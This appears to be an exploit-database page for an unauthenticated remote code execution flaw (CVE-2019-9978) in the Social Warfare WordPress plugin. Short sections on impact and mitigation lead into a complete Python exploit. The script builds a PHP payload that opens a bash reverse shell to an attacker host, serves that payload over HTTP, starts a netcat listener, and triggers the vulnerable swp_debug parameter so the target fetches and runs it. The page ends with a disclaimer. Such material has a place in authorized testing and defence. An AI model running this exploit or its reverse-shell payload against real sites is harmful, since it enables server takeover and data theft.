Skip to main content

Social Warfare WordPress Plugin 3.5.2 – Remote Code Execution (RCE)

Categories: WebApps

Overview

The Social Warfare WordPress Plugin version 3.5.2 contains a critical Remote Code Execution (RCE) vulnerability, identified by CVE-2019-9978. This flaw allows attackers to execute arbitrary code on the server hosting the vulnerable plugin, potentially compromising the entire WordPress site. Given the widespread use of this plugin for social sharing, the impact could be significant for many websites.

Technical Details

The vulnerability arises from improper validation of user inputs in the plugin’s handling of AJAX requests. Specifically, it lacks adequate security measures, allowing unauthenticated users to send crafted requests that exploit this weakness. When an attacker sends a malicious payload through the AJAX endpoint, the server executes it without proper sanitization, leading to the execution of arbitrary PHP code.

This flaw can be exploited without prior authentication, making it particularly dangerous. For instance, an attacker could leverage this vulnerability to upload a web shell, which would grant them full control over the affected WordPress instance. This could lead to data theft, website defacement, or further exploitation of connected systems.

Impact

The consequences of exploiting CVE-2019-9978 are dire. A successful attack can lead to unauthorized access to sensitive data, complete site takeover, and potential lateral movement within the server environment. Websites leveraging the Social Warfare plugin could face reputational damage, loss of user trust, and significant financial repercussions due to downtime or data breaches.

Mitigation

To protect against this vulnerability, it is crucial for WordPress administrators to immediately update the Social Warfare plugin to the latest version, which addresses this security flaw. Regularly monitoring and updating all plugins and themes is a best practice for maintaining WordPress security.

Additionally, implementing a web application firewall (WAF) can provide an extra layer of defense by filtering out malicious requests before they reach the server. Security professionals should also conduct regular security audits and vulnerability assessments to identify and remediate potential weaknesses in their WordPress environments.

Proof of Concept (PoC)

poc.py
#!/usr/bin/env python3

# Exploit Title: Social Warfare WordPress Plugin 3.5.2 - Remote Code Execution (RCE)
# Date: 25-06-2025
# Exploit Author: Huseyin Mardini (@housma)
# Original Researcher: Luka Sikic
# Original Exploit Author: hash3liZer
# Vendor Homepage: https://wordpress.org/plugins/social-warfare/
# Software Link: https://downloads.wordpress.org/plugin/social-warfare.3.5.2.zip
# Version: <= 3.5.2
# CVE: CVE-2019-9978
# Tested On: WordPress 5.1.1 with Social Warfare 3.5.2 (on Ubuntu 20.04)
# Python Version: Python 3.x
# Reference: https://www.exploit-db.com/exploits/46794
# Github (original PoC): https://github.com/hash3liZer/CVE-2019-9978

# The currently listed exploit for *CVE-2019-9978* (Exploit ID 46794<https://www.exploit-db.com/exploits/46794>) appears to no longer work as intended in many modern environments

# Usage:
#   1. Edit the config section below and replace `ATTACKER_IP` with your machine's IP.
#   2. Run the script: `python3 exploit.py`
#   3. It will:
#       - Create a PHP payload and save it as `payload.txt` (or any filename you set in PAYLOAD_FILE)
#       - Start an HTTP server on `HTTP_PORT` to host the payload
#       - Start a Netcat listener on `LISTEN_PORT`
#       - Trigger the vulnerability via the vulnerable `swp_debug` parameter
#   4. On success, you get a reverse shell as `www-data`.
#
# Note:
#   - PAYLOAD_FILE defines only the name of the file to be created and served.
#   - Make sure ports 8001 and 4444 are open and not in use.

import requests
import threading
import http.server
import socketserver
import os
import subprocess
import time

# --- Config ---
TARGET_URL = "http://example.com"
ATTACKER_IP = "xxx.xxx.xx.xx"  # Change to your attack box IP
HTTP_PORT = 8000
LISTEN_PORT = 4444
PAYLOAD_FILE = "payload.txt"


def create_payload():
    """Write exact reverse shell payload using valid PHP syntax"""
    payload = f'<pre>system("bash -c \"bash -i >& /dev/tcp/{ATTACKER_IP}/{LISTEN_PORT} 0>&1\"")</pre>'
    with open(PAYLOAD_FILE, "w") as f:
        f.write(payload)
    print(f"[+] Payload written to {PAYLOAD_FILE}")


def start_http_server():
    """Serve payload over HTTP"""
    handler = http.server.SimpleHTTPRequestHandler
    with socketserver.TCPServer(("", HTTP_PORT), handler) as httpd:
        print(f"[+] HTTP server running at port {HTTP_PORT}")
        httpd.serve_forever()


def start_listener():
    """Start Netcat listener"""
    print(f"[+] Listening on port {LISTEN_PORT} for reverse shell...")
    subprocess.call(["nc", "-lvnp", str(LISTEN_PORT)])


def send_exploit():
    """Trigger the exploit with vulnerable parameter"""
    payload_url = f"http://{ATTACKER_IP}:{HTTP_PORT}/{PAYLOAD_FILE}"
    exploit = f"{TARGET_URL}/wp-admin/admin-post.php?swp_debug=load_options&swp_url={payload_url}"
    print(f"[+] Sending exploit: {exploit}")
    try:
        requests.get(exploit, timeout=5)
    except requests.exceptions.RequestException:
        pass


def main():
    create_payload()

    # Start web server in background
    http_thread = threading.Thread(target=start_http_server, daemon=True)
    http_thread.start()
    time.sleep(2)  # Give server time to start

    # Start listener in background
    listener_thread = threading.Thread(target=start_listener)
    listener_thread.start()
    time.sleep(1)

    # Send the malicious request
    send_exploit()


if __name__ == "__main__":
    try:
        main()
    except KeyboardInterrupt:
        print("[-] Interrupted by user.")

Security Disclaimer

This exploit is provided for educational and authorized security testing purposes only. Unauthorized access to computer systems is illegal and may result in severe legal consequences. Always ensure you have explicit permission before testing vulnerabilities.

sh3llz@loading:~$
Loading security modules...